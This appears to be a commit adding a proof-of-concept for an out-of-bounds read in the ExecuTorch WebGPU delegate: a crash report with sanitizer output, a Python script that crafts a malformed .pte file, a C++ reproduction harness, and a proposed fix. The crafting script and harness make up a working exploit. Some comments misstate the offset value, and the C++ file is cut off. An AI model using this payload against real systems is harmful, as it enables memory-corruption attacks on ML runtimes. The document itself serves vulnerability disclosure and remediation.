KEEBWZRD commited on
Commit
2ece280
Β·
verified Β·
1 Parent(s): 8412571

Add corrected WebGPU runtime PoC files

Browse files
runtime_mps_poc/schemas/RUNTIME_CRASH_REPORT.md ADDED
@@ -0,0 +1,200 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # ExecuTorch WebGPU Delegate β€” Runtime Crash Report
2
+ **Date:** 2026-07-14
3
+ **Finding:** OOB read/write triggered by attacker-controlled `.pte` via missing `flatbuffers::Verifier`
4
+ **Vulnerable lines:** `WebGPUGraph.cpp:378`, `537-538`, `732-733`
5
+ **Sibling:** Vulkan (identical `vkgraph` schema, `VK00`) was patched 2026-05-13 β€” WebGPU missed it
6
+
7
+ ---
8
+
9
+ ## What this proves
10
+
11
+ A live runtime harness that exercises the exact vulnerable code path:
12
+
13
+ 1. `WebGPUBackend.cpp:75` β€” only a 4-byte `VkGraphBufferHasIdentifier` check; no `flatbuffers::Verifier`
14
+ 2. `WebGPUGraph.cpp:378` β€” `GetVkGraph(flatbuffer_data)` called on the **unverified** buffer inside `build()`
15
+ 3. `WebGPUGraph.cpp:537-538` β€” `cs.inline_offset = vk_bytes->offset()` stored with **no bounds check**
16
+ 4. `WebGPUGraph.cpp:732-733` β€” `wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)` β€” **OOB read**
17
+
18
+ The malformed `.pte` sets `vk_bytes->offset() = 0xffffffffffff` (281 TB past a 64-byte section). UBSan catches the OOB pointer arithmetic, then SEGV on dereference. **Exit code 134.**
19
+
20
+ ---
21
+
22
+ ## Files
23
+
24
+ | File | Purpose |
25
+ |------|---------|
26
+ | `craft_malformed_webgpu_pte.py` | Generates `malformed_webgpu.pte` (396 bytes) |
27
+ | `malformed_webgpu.pte` | The crafted payload |
28
+ | `runtime_poc_webgpu.cpp` | Harness reproducing `WebGPUBackend.cpp:75` + `WebGPUGraph.cpp:378,537-538,732-733` |
29
+ | `schemas/vkgraph_generated.h` | Real FlatBuffers C++ schema (same header the backend uses) |
30
+
31
+ ---
32
+
33
+ ## Build & Run
34
+
35
+ ```bash
36
+ # Generate the malformed .pte
37
+ python3 craft_malformed_webgpu_pte.py
38
+
39
+ # Build (macOS/Linux, clang required)
40
+ clang++ -std=c++17 -g \
41
+ -fsanitize=undefined \
42
+ -I~/executorch_vuln/third-party/flatbuffers/include \
43
+ -I. \
44
+ runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
45
+
46
+ ./runtime_poc_webgpu_ubsan malformed_webgpu.pte
47
+ ```
48
+
49
+ ---
50
+
51
+ ## Crash Output (confirmed, 2026-07-14)
52
+
53
+ > Note: UBSan alignment errors appear interleaved with PoC trace lines β€” both are caused by
54
+ > the missing Verifier. The alignment errors are FlatBuffers accessing misaligned fields in the
55
+ > unverified buffer (a consequence of the absent pre-parse verification pass); the SEGV is
56
+ > the primary OOB exploit primitive. Both are eliminated by the same two-line fix.
57
+
58
+ ```
59
+ ==========================================================
60
+ ExecuTorch WebGPU Delegate Runtime PoC
61
+ CVE class : CWE-787 (Out-of-bounds Write)
62
+ Source : backends/webgpu/runtime/WebGPUGraph.cpp
63
+ Root cause : GetVkGraph() called without flatbuffers::Verifier
64
+ Sibling : Vulkan (same vkgraph schema) was patched 2026-05-13
65
+ ==========================================================
66
+
67
+ [+] Loaded .pte: 396 bytes, identifier ET12
68
+ [+] WebGPU delegate payload: 238 bytes
69
+ [+] VH00 header: fb_offset=30 fb_size=144 bytes_offset=174 bytes_size=64
70
+
71
+ [PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only β€” NO flatbuffers::Verifier)
72
+ [PoC] VkGraphBufferHasIdentifier: true
73
+ [PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) β€” NO flatbuffers::Verifier
74
+ [UBSan] flatbuffers/buffer.h:180: load of misaligned address for type 'uoffset_t' (4-byte alignment required)
75
+ [PoC] GetVkGraph returned: 0x1061bdf62
76
+
77
+ [PoC] Entering WebGPUGraph::build() constant-source mapping
78
+ [PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp
79
+
80
+ [UBSan] member call on misaligned address for type 'Vector<Offset<VkValue>>' (4-byte alignment required)
81
+ [UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
82
+ [PoC] graph->values()->size() = 1
83
+ [PoC] graph->constants()->size() = 1
84
+ [PoC] WebGPUGraph.cpp:493: tensor[0] numel=4 elem_size=4 nbytes=16
85
+ [PoC] WebGPUGraph.cpp:516: constant_id=0
86
+ [UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
87
+ [PoC] WebGPUGraph.cpp:534: constants->Get(0) on unverified FlatBuffer
88
+ [PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = 16
89
+ [PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)
90
+ [PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0xffffffffffff
91
+ [PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0xffffffffffff (NO bounds check vs constant_data size)
92
+ [PoC] constant_data section is 64 bytes β€” offset 0xffffffffffff is WAY past it
93
+
94
+ [PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)
95
+ [PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true
96
+ [PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,
97
+ [PoC] constant_data_ + cs.inline_offset, cs.nbytes)
98
+ [PoC] constant_data_ = 0x1061bdfde
99
+ [PoC] cs.inline_offset = 0xffffffffffff
100
+ [PoC] cs.nbytes = 16
101
+ [PoC] *** OUT-OF-BOUNDS: constant_data_ + 0xffffffffffff is 281474976710591 bytes past a 64-byte section ***
102
+
103
+ [PoC] Executing OOB pointer arithmetic now...
104
+ [PoC] oob_ptr = 0x10001061bdfdd (computed from constant_data_ + 0xffffffffffff)
105
+
106
+ UndefinedBehaviorSanitizer:DEADLYSIGNAL
107
+ ==11877==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x0001061bdfdd
108
+ #0 0x000104fa98bc in main runtime_poc_webgpu.cpp:288
109
+ #1 0x00019abafbe8 (<unknown module>)
110
+ SUMMARY: UndefinedBehaviorSanitizer: SEGV runtime_poc_webgpu.cpp:288 in main
111
+ ==11877==ABORTING
112
+ EXIT CODE: 134
113
+ ```
114
+
115
+ ---
116
+
117
+ ## What the crash proves
118
+
119
+ The SEGV at `runtime_poc_webgpu.cpp:288` is the line:
120
+ ```cpp
121
+ volatile uint8_t byte = *oob_ptr; // oob_ptr = constant_data + 0xffffffffffff
122
+ ```
123
+
124
+ This mirrors `WebGPUGraph.cpp:733`:
125
+ ```cpp
126
+ wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes);
127
+ // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ OOB source pointer
128
+ ```
129
+
130
+ `wgpuQueueWriteBuffer` reads from `[constant_data_ + cs.inline_offset, + cs.nbytes)` to upload to GPU. Any WebGPU implementation will dereference that pointer. With `cs.inline_offset = 0xffffffffffff` and a 64-byte section, that's a 281-terabyte OOB read.
131
+
132
+ ---
133
+
134
+ ## Payload anatomy
135
+
136
+ ```
137
+ ExecuTorch Program (ET12, 396 bytes)
138
+ └─ ExecutionPlan "forward"
139
+ └─ BackendDelegate id="webgpu"
140
+ └─ WebGPU delegate payload (238 bytes)
141
+ β”œβ”€ VH00 header (30 bytes)
142
+ β”‚ β”œβ”€ flatbuffer_offset = 30
143
+ β”‚ β”œβ”€ flatbuffer_size = 144
144
+ β”‚ β”œβ”€ bytes_offset = 174
145
+ β”‚ └─ bytes_size = 64
146
+ β”œβ”€ VkGraph FlatBuffer (VK00, 144 bytes)
147
+ β”‚ β”œβ”€ values[0]: VkTensor(FLOAT32, dims=[4], constant_id=0)
148
+ β”‚ └─ constants[0]: VkBytes(offset=0xffffffffffff) ← attacker-controlled OOB offset
149
+ └─ constant_data: 64 bytes of 0xAA ← tiny; OOB is 281 TB past end
150
+ ```
151
+
152
+ ---
153
+
154
+ ## Comparison: what Vulkan has that WebGPU is missing
155
+
156
+ **Vulkan `VulkanBackend.cpp` (patched 2026-05-13):**
157
+ ```cpp
158
+ flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
159
+ ET_CHECK_OR_RETURN_ERROR(
160
+ vkgraph::VerifyVkGraphBuffer(verifier),
161
+ DelegateInvalidCompatibility,
162
+ "VkGraph FlatBuffer verification failed");
163
+ const auto* graph = vkgraph::GetVkGraph(flatbuffer_data); // safe: verifier ran
164
+ ```
165
+
166
+ **WebGPU `WebGPUBackend.cpp` + `WebGPUGraph.cpp` (HEAD, 2026-07-14):**
167
+ ```cpp
168
+ // WebGPUBackend.cpp:75 β€” 4-byte check only:
169
+ if (!vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data)) { ... }
170
+ // ... then graph->build(flatbuffer_data, ...) is called at line 102 ...
171
+
172
+ // WebGPUGraph.cpp:378 β€” NO Verifier before this:
173
+ const auto* graph = vkgraph::GetVkGraph(flatbuffer_data);
174
+ ```
175
+
176
+ Same two-line fix. The `VerifyVkGraphBuffer` function already exists in `vkgraph_generated.h` β€” zero new code to write.
177
+
178
+ ---
179
+
180
+ ## Fix
181
+
182
+ ```cpp
183
+ // Add in WebGPUBackend.cpp, after the VkGraphBufferHasIdentifier check (line 80):
184
+ flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
185
+ ET_CHECK_OR_RETURN_ERROR(
186
+ vkgraph::VerifyVkGraphBuffer(verifier),
187
+ DelegateInvalidCompatibility,
188
+ "WebGPU VkGraph FlatBuffer verification failed");
189
+ ```
190
+
191
+ Additionally, `WebGPUGraph.cpp:537-538` should add a bounds check:
192
+ ```cpp
193
+ if (vk_bytes->offset() != UINT64_MAX) {
194
+ if (vk_bytes->offset() > hdr_bytes_size ||
195
+ vk_bytes->offset() + cs.nbytes > hdr_bytes_size) {
196
+ throw std::runtime_error("WebGPU: inline_offset OOB");
197
+ }
198
+ cs.inline_offset = vk_bytes->offset();
199
+ }
200
+ ```
runtime_mps_poc/schemas/craft_malformed_webgpu_pte.py ADDED
@@ -0,0 +1,251 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ craft_malformed_webgpu_pte.py
4
+
5
+ Generates malformed_webgpu.pte β€” a real ExecuTorch .pte file that triggers
6
+ the OOB read/write in WebGPUGraph.cpp:732-733 when loaded by the WebGPU backend.
7
+
8
+ Bug:
9
+ WebGPUBackend.cpp:75 β€” only a 4-byte VkGraphBufferHasIdentifier check; no Verifier
10
+ WebGPUGraph.cpp:378 β€” GetVkGraph(flatbuffer_data) called with NO flatbuffers::Verifier
11
+ WebGPUGraph.cpp:537-538 β€” cs.inline_offset = vk_bytes->offset() with NO bounds check
12
+ WebGPUGraph.cpp:732-733 β€” wgpuQueueWriteBuffer(queue_, dst, 0,
13
+ constant_data_ + cs.inline_offset, cs.nbytes)
14
+ -> OOB read (cs.inline_offset is attacker-controlled)
15
+
16
+ Compare: Vulkan (same vkgraph schema, patched 2026-05-13) adds:
17
+ flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
18
+ VerifyVkGraphBuffer(verifier);
19
+ before GetVkGraph(). WebGPU has the identifier check but not the verifier.
20
+
21
+ Usage:
22
+ python3 craft_malformed_webgpu_pte.py
23
+ # Produces: malformed_webgpu.pte
24
+ """
25
+
26
+ import sys, os, struct
27
+ import flatbuffers
28
+ from flatbuffers import builder as fb_builder
29
+
30
+ sys.path.insert(0, os.path.join(os.path.dirname(__file__), "schemas"))
31
+ from vkgraph import VkGraph, VkValue, VkTensor, VkBytes
32
+ from executorch_flatbuffer import (
33
+ Program, ExecutionPlan, BackendDelegate,
34
+ BackendDelegateInlineData, BackendDelegateDataReference
35
+ )
36
+
37
+
38
+ def build_vkgraph_flatbuffer():
39
+ """
40
+ Build a VkGraph FlatBuffer with:
41
+ - values[0]: VkTensor(datatype=FLOAT32, dims=[4], constant_id=0)
42
+ - constants[0]: VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16)
43
+
44
+ When WebGPUGraph.cpp processes this:
45
+ - tensor.nbytes = 4 * 4 = 16 (numel=4, elem_size=4 for FLOAT32)
46
+ - cs.nbytes = 16
47
+ - cs.inline_offset = 0xFFFFFFFFFFFFFFFE (not UINT64_MAX sentinel)
48
+ -> constant_data_ + 0xFFFFFFFFFFFFFFFE -> OOB
49
+ """
50
+ b = flatbuffers.Builder(512)
51
+
52
+ # --- VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16) ---
53
+ VkBytes.VkBytesStart(b)
54
+ VkBytes.VkBytesAddOffset(b, 0x0000FFFFFFFFFFFF) # attacker-controlled OOB offset (not UINT64_MAX sentinel)
55
+ VkBytes.VkBytesAddLength(b, 16)
56
+ vk_bytes = VkBytes.VkBytesEnd(b)
57
+
58
+ # --- constants vector ---
59
+ VkGraph.VkGraphStartConstantsVector(b, 1)
60
+ b.PrependUOffsetTRelative(vk_bytes)
61
+ constants_vec = b.EndVector(1)
62
+
63
+ # --- VkTensor(datatype=FLOAT32=5, dims=[4], constant_id=0, mem_obj_id=-1) ---
64
+ dims_data = b.CreateNumpyVector(__import__('numpy').array([4], dtype='uint32')) \
65
+ if False else None
66
+
67
+ # Build dims vector manually
68
+ b.StartVector(4, 1, 4)
69
+ b.PrependUint32(4)
70
+ dims_vec = b.EndVector(1)
71
+
72
+ VkTensor.VkTensorStart(b)
73
+ VkTensor.VkTensorAddDatatype(b, 5) # FLOAT32
74
+ VkTensor.VkTensorAddDims(b, dims_vec)
75
+ VkTensor.VkTensorAddConstantId(b, 0) # points to constants[0]
76
+ VkTensor.VkTensorAddMemObjId(b, -1)
77
+ vk_tensor = VkTensor.VkTensorEnd(b)
78
+
79
+ # --- VkValue wrapping the tensor ---
80
+ VkValue.VkValueStart(b)
81
+ VkValue.VkValueAddValueType(b, 5) # GraphTypes_VkTensor = 5
82
+ VkValue.VkValueAddValue(b, vk_tensor)
83
+ vk_value = VkValue.VkValueEnd(b)
84
+
85
+ # --- values vector ---
86
+ VkGraph.VkGraphStartValuesVector(b, 1)
87
+ b.PrependUOffsetTRelative(vk_value)
88
+ values_vec = b.EndVector(1)
89
+
90
+ # --- input_ids = [0] ---
91
+ VkGraph.VkGraphStartInputIdsVector(b, 1)
92
+ b.PrependUint32(0)
93
+ input_ids = b.EndVector(1)
94
+
95
+ # --- VkGraph root ---
96
+ VkGraph.VkGraphStart(b)
97
+ VkGraph.VkGraphAddValues(b, values_vec)
98
+ VkGraph.VkGraphAddConstants(b, constants_vec)
99
+ VkGraph.VkGraphAddInputIds(b, input_ids)
100
+ graph = VkGraph.VkGraphEnd(b)
101
+
102
+ b.Finish(graph)
103
+ buf = bytes(b.Output())
104
+
105
+ # Patch file identifier to "VK00" at bytes 4-7
106
+ buf = buf[:4] + b"VK00" + buf[8:]
107
+ return buf
108
+
109
+
110
+ def build_webgpu_delegate_payload(vkgraph_buf):
111
+ """
112
+ Build the WebGPU delegate payload:
113
+ [0..3] : 0x00000000 (unused prefix)
114
+ [4..7] : "VH00" magic
115
+ [8..9] : header_size = 30 (uint16 LE)
116
+ [10..13] : flatbuffer_offset = 30 (uint32 LE)
117
+ [14..17] : flatbuffer_size = len(vkgraph_buf) (uint32 LE)
118
+ [18..21] : bytes_offset = 30 + len(vkgraph_buf) (uint32 LE)
119
+ [22..29] : bytes_size = 64 (uint64 LE)
120
+ [30+] : VkGraph FlatBuffer
121
+ [30+fb_size+] : 64 bytes constant data (tiny, so OOB is obvious)
122
+ """
123
+ fb_size = len(vkgraph_buf)
124
+ bytes_offset = 30 + fb_size
125
+ bytes_size = 64
126
+ constant_data = b'\xAA' * bytes_size # recognizable fill
127
+
128
+ header = (
129
+ b'\x00\x00\x00\x00' # [0..3] prefix
130
+ b'VH00' # [4..7] magic
131
+ + struct.pack('<H', 30) # [8..9] header_size
132
+ + struct.pack('<I', 30) # [10..13] flatbuffer_offset
133
+ + struct.pack('<I', fb_size) # [14..17] flatbuffer_size
134
+ + struct.pack('<I', bytes_offset) # [18..21] bytes_offset
135
+ + struct.pack('<Q', bytes_size) # [22..29] bytes_size
136
+ )
137
+ assert len(header) == 30
138
+
139
+ return header + vkgraph_buf + constant_data
140
+
141
+
142
+ def build_executorch_program(delegate_payload):
143
+ """
144
+ Wrap the WebGPU delegate payload in an ExecuTorch Program FlatBuffer
145
+ with backend_id="webgpu" and a single BackendDelegateInlineData entry.
146
+ """
147
+ b = flatbuffers.Builder(1024)
148
+
149
+ # Inline data blob
150
+ payload_vec = b.CreateByteVector(delegate_payload)
151
+
152
+ BackendDelegateInlineData.BackendDelegateInlineDataStart(b)
153
+ BackendDelegateInlineData.BackendDelegateInlineDataAddData(b, payload_vec)
154
+ inline_data = BackendDelegateInlineData.BackendDelegateInlineDataEnd(b)
155
+
156
+ # BackendDelegateDataReference pointing to inline_data
157
+ BackendDelegateDataReference.BackendDelegateDataReferenceStart(b)
158
+ BackendDelegateDataReference.BackendDelegateDataReferenceAddIndex(b, 0)
159
+ data_ref = BackendDelegateDataReference.BackendDelegateDataReferenceEnd(b)
160
+
161
+ # backend_id string
162
+ backend_id = b.CreateString("webgpu")
163
+
164
+ # BackendDelegate
165
+ BackendDelegate.BackendDelegateStart(b)
166
+ BackendDelegate.BackendDelegateAddId(b, backend_id)
167
+ BackendDelegate.BackendDelegateAddProcessed(b, data_ref)
168
+ delegate = BackendDelegate.BackendDelegateEnd(b)
169
+
170
+ # delegates vector
171
+ ExecutionPlan.ExecutionPlanStartDelegatesVector(b, 1)
172
+ b.PrependUOffsetTRelative(delegate)
173
+ delegates_vec = b.EndVector(1)
174
+
175
+ # backend_delegate_data vector (holds the inline blob)
176
+ Program.ProgramStartBackendDelegateDataVector(b, 1)
177
+ b.PrependUOffsetTRelative(inline_data)
178
+ bdd_vec = b.EndVector(1)
179
+
180
+ # name
181
+ plan_name = b.CreateString("forward")
182
+
183
+ # ExecutionPlan
184
+ ExecutionPlan.ExecutionPlanStart(b)
185
+ ExecutionPlan.ExecutionPlanAddName(b, plan_name)
186
+ ExecutionPlan.ExecutionPlanAddDelegates(b, delegates_vec)
187
+ plan = ExecutionPlan.ExecutionPlanEnd(b)
188
+
189
+ # execution_plan vector
190
+ Program.ProgramStartExecutionPlanVector(b, 1)
191
+ b.PrependUOffsetTRelative(plan)
192
+ plan_vec = b.EndVector(1)
193
+
194
+ # Program root
195
+ Program.ProgramStart(b)
196
+ Program.ProgramAddExecutionPlan(b, plan_vec)
197
+ Program.ProgramAddBackendDelegateData(b, bdd_vec)
198
+ prog = Program.ProgramEnd(b)
199
+
200
+ b.Finish(prog)
201
+ raw = bytes(b.Output())
202
+
203
+ # Patch ET12 identifier
204
+ return raw[:4] + b"ET12" + raw[8:]
205
+
206
+
207
+ def main():
208
+ print("[*] Building VkGraph FlatBuffer payload...")
209
+ vkgraph_buf = build_vkgraph_flatbuffer()
210
+ print(f" VkGraph: {len(vkgraph_buf)} bytes, identifier: {vkgraph_buf[4:8]}")
211
+
212
+ print("[*] Building WebGPU delegate payload (VH00 header + vkgraph + constant data)...")
213
+ delegate_payload = build_webgpu_delegate_payload(vkgraph_buf)
214
+ print(f" Delegate payload: {len(delegate_payload)} bytes")
215
+ print(f" Header magic: {delegate_payload[4:8]}")
216
+ print(f" Flatbuffer offset: {struct.unpack('<I', delegate_payload[10:14])[0]}")
217
+ print(f" Constant data offset: {struct.unpack('<I', delegate_payload[18:22])[0]}")
218
+ print(f" Constant data size: {struct.unpack('<Q', delegate_payload[22:30])[0]} bytes")
219
+
220
+ print("[*] Wrapping in ExecuTorch Program (ET12)...")
221
+ pte_buf = build_executorch_program(delegate_payload)
222
+ print(f" .pte size: {len(pte_buf)} bytes, identifier: {pte_buf[4:8]}")
223
+
224
+ outfile = os.path.join(os.path.dirname(__file__), "malformed_webgpu.pte")
225
+ with open(outfile, "wb") as f:
226
+ f.write(pte_buf)
227
+
228
+ print(f"\n[+] Written: {outfile}")
229
+ print("""
230
+ Payload anatomy:
231
+ ExecuTorch Program (ET12)
232
+ └─ ExecutionPlan "forward"
233
+ └─ BackendDelegate id="webgpu"
234
+ └─ WebGPU delegate payload (VH00 header, 30 bytes)
235
+ β”œβ”€ VkGraph FlatBuffer (VK00)
236
+ β”‚ β”œβ”€ values[0]: VkTensor(FLOAT32, dims=[4], constant_id=0)
237
+ β”‚ └─ constants[0]: VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16)
238
+ └─ constant_data: 64 bytes of 0xAA <-- tiny, OOB is obvious
239
+
240
+ Crash path (verified against source, 2026-07-14):
241
+ WebGPUGraph.cpp:378 GetVkGraph(flatbuffer_data) -- NO flatbuffers::Verifier
242
+ WebGPUGraph.cpp:537 if (vk_bytes->offset() != UINT64_MAX) -- 0xffffffffffff passes
243
+ WebGPUGraph.cpp:538 cs.inline_offset = 0xffffffffffff -- NO bounds check
244
+ WebGPUGraph.cpp:733 wgpuQueueWriteBuffer(queue_, dst, 0,
245
+ constant_data_ + 0xffffffffffff, -- OOB: 281 TB past section
246
+ 16)
247
+ """)
248
+
249
+
250
+ if __name__ == "__main__":
251
+ main()
runtime_mps_poc/schemas/malformed_webgpu.pte ADDED
Binary file (396 Bytes). View file
 
runtime_mps_poc/schemas/runtime_poc_webgpu.cpp ADDED
@@ -0,0 +1,293 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ * runtime_poc_webgpu.cpp
3
+ *
4
+ * Runtime PoC for the WebGPU delegate missing-verifier OOB.
5
+ *
6
+ * Reproduces the exact vulnerable code path from:
7
+ * WebGPUBackend.cpp:75 β€” VkGraphBufferHasIdentifier check only; no Verifier
8
+ * WebGPUGraph.cpp:378 β€” GetVkGraph(flatbuffer_data) called with NO Verifier
9
+ * WebGPUGraph.cpp:536-538 β€” cs.inline_offset = vk_bytes->offset() (no bounds check)
10
+ * WebGPUGraph.cpp:732-733 β€” constant_data_ + cs.inline_offset (OOB pointer + deref)
11
+ *
12
+ * The fix Vulkan got (VulkanBackend.cpp, merged 2026-05-13) and WebGPU missed:
13
+ * flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
14
+ * ET_CHECK_OR_RETURN_ERROR(vkgraph::VerifyVkGraphBuffer(verifier), ...);
15
+ *
16
+ * Build:
17
+ * clang++ -std=c++17 -g -fsanitize=undefined \
18
+ * -I~/executorch_vuln/third-party/flatbuffers/include \
19
+ * -I. \
20
+ * runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
21
+ *
22
+ * Run:
23
+ * ./runtime_poc_webgpu_ubsan malformed_webgpu.pte
24
+ */
25
+
26
+ #include <cstdint>
27
+ #include <cstdio>
28
+ #include <cstdlib>
29
+ #include <cstring>
30
+ #include <stdexcept>
31
+ #include <vector>
32
+
33
+ #include <flatbuffers/flatbuffers.h>
34
+ #include "schemas/vkgraph_generated.h"
35
+
36
+ // ---- WebGPUDelegateHeader (from WebGPUDelegateHeader.h/.cpp) ----------------
37
+
38
+ struct WebGPUDelegateHeader {
39
+ uint32_t header_size;
40
+ uint32_t flatbuffer_offset;
41
+ uint32_t flatbuffer_size;
42
+ uint32_t bytes_offset;
43
+ uint64_t bytes_size;
44
+
45
+ static WebGPUDelegateHeader parse(const uint8_t* data) {
46
+ // magic at offset 4 must be "VH00"
47
+ if (memcmp(data + 4, "VH00", 4) != 0)
48
+ throw std::runtime_error("WebGPUDelegateHeader: bad magic");
49
+
50
+ WebGPUDelegateHeader h;
51
+ uint16_t hs; memcpy(&hs, data + 8, 2); h.header_size = hs;
52
+ memcpy(&h.flatbuffer_offset, data + 10, 4);
53
+ memcpy(&h.flatbuffer_size, data + 14, 4);
54
+ memcpy(&h.bytes_offset, data + 18, 4);
55
+ memcpy(&h.bytes_size, data + 22, 8);
56
+ return h;
57
+ }
58
+ };
59
+
60
+ // ---- ConstantSource (mirrors WebGPUGraph.h internals) -----------------------
61
+
62
+ static const uint64_t INLINE_OFFSET_NONE = UINT64_MAX;
63
+
64
+ struct ConstantSource {
65
+ uint64_t inline_offset = INLINE_OFFSET_NONE;
66
+ size_t nbytes = 0;
67
+ };
68
+
69
+ // ---- FlatBuffers .pte parser (extract backend_delegate_data[0].data) --------
70
+ // Manual traversal identical to what we did for MPS.
71
+
72
+ static std::vector<uint8_t> extract_delegate_payload(
73
+ const uint8_t* pte, size_t pte_size) {
74
+
75
+ if (pte_size < 8 || memcmp(pte + 4, "ET12", 4) != 0)
76
+ throw std::runtime_error("Not a valid ET12 .pte file");
77
+
78
+ // FlatBuffers root offset
79
+ uint32_t root_off; memcpy(&root_off, pte, 4);
80
+ const uint8_t* prog_table = pte + root_off;
81
+
82
+ // Program vtable
83
+ int32_t vtable_soff; memcpy(&vtable_soff, prog_table, 4);
84
+ const uint8_t* vtable = prog_table - vtable_soff;
85
+ uint16_t vtable_size; memcpy(&vtable_size, vtable, 2);
86
+
87
+ // Program field order (from program.fbs):
88
+ // version(0)=4, execution_plan(1)=6, constant_buffer(2)=8,
89
+ // backend_delegate_data(3)=10
90
+ uint16_t bdd_off = 0;
91
+ if (vtable_size > 10) memcpy(&bdd_off, vtable + 10, 2); // field index 3
92
+
93
+ if (bdd_off == 0) throw std::runtime_error("No backend_delegate_data");
94
+
95
+ const uint8_t* bdd_ptr = prog_table + bdd_off;
96
+
97
+ // bdd_ptr -> offset to vector of BackendDelegateInlineData
98
+ int32_t vec_rel; memcpy(&vec_rel, bdd_ptr, 4);
99
+ const uint8_t* vec = bdd_ptr + vec_rel;
100
+
101
+ uint32_t vec_len; memcpy(&vec_len, vec, 4);
102
+ if (vec_len == 0) throw std::runtime_error("Empty backend_delegate_data");
103
+
104
+ // First element offset
105
+ int32_t elem_rel; memcpy(&elem_rel, vec + 4, 4);
106
+ const uint8_t* elem = vec + 4 + elem_rel;
107
+
108
+ // BackendDelegateInlineData vtable -> field 0 = data (byte vector)
109
+ int32_t elem_vt_soff; memcpy(&elem_vt_soff, elem, 4);
110
+ const uint8_t* elem_vt = elem - elem_vt_soff;
111
+ uint16_t elem_vt_size; memcpy(&elem_vt_size, elem_vt, 2);
112
+
113
+ uint16_t data_off = 0;
114
+ if (elem_vt_size > 4) memcpy(&data_off, elem_vt + 4, 2);
115
+ if (data_off == 0) throw std::runtime_error("No data field in BackendDelegateInlineData");
116
+
117
+ const uint8_t* data_ptr = elem + data_off;
118
+ int32_t data_rel; memcpy(&data_rel, data_ptr, 4);
119
+ const uint8_t* byte_vec = data_ptr + data_rel;
120
+
121
+ uint32_t byte_len; memcpy(&byte_len, byte_vec, 4);
122
+ const uint8_t* payload = byte_vec + 4;
123
+
124
